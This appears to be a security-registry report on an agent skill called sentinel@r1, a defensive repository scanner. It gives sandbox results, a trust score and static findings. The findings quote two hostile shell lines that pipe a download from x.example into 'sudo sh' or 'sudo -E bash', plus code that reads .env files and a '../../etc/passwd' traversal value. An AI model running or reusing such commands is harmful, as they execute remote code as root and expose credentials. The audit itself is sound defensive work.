sentinel@r1
VERIFIED· install onlyPublisher claims: "Enables LLM coding harnesses to profile authorized repositories, select applicable defensive security techniques, and report coverage and plain-language results in markdown or SARIF while keeping scans read-only and authorization-gated." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Nothing executable in the bundle ran; the trace covers the install step only.- Tested
- every file read, file written and host contacted by what ran
- Not tested
- use of the skill by an agent
What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
- no credential variables read in the code
- Where it talks to
- no vendor host named in the codeAlso x.example — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- use of the skill by an agent
Connect it under the guard. Nothing executable in the bundle ran; the trace covers the install step only. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is sentinel@r1 safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-14 and scored it 85/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 1 scenarios · 0 deviationsStatic findings
if (basename(s.file.path).startsWith('.env')) flag('secrets', 'environment file committed to the repository')Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.`${w} -qO- https://x.example/i.sh | sudo sh`,Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.`${c} u | sudo -E bash`,Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.if (f.language || basename(f.path).startsWith('.env')) scans.push(scan(text, f))Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.findings: [F, { ...F, snippet: ' ' }, { ...F, line: 9, snippet: 'other()' }, { ...F, depth_tier: 'L9' }, { ...F, technique_id: 'nope' }, 'garbage', { ...F, file: '../../etc/passwd' }],Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.Cost to the agent
Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.
Known vulnerabilities
Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.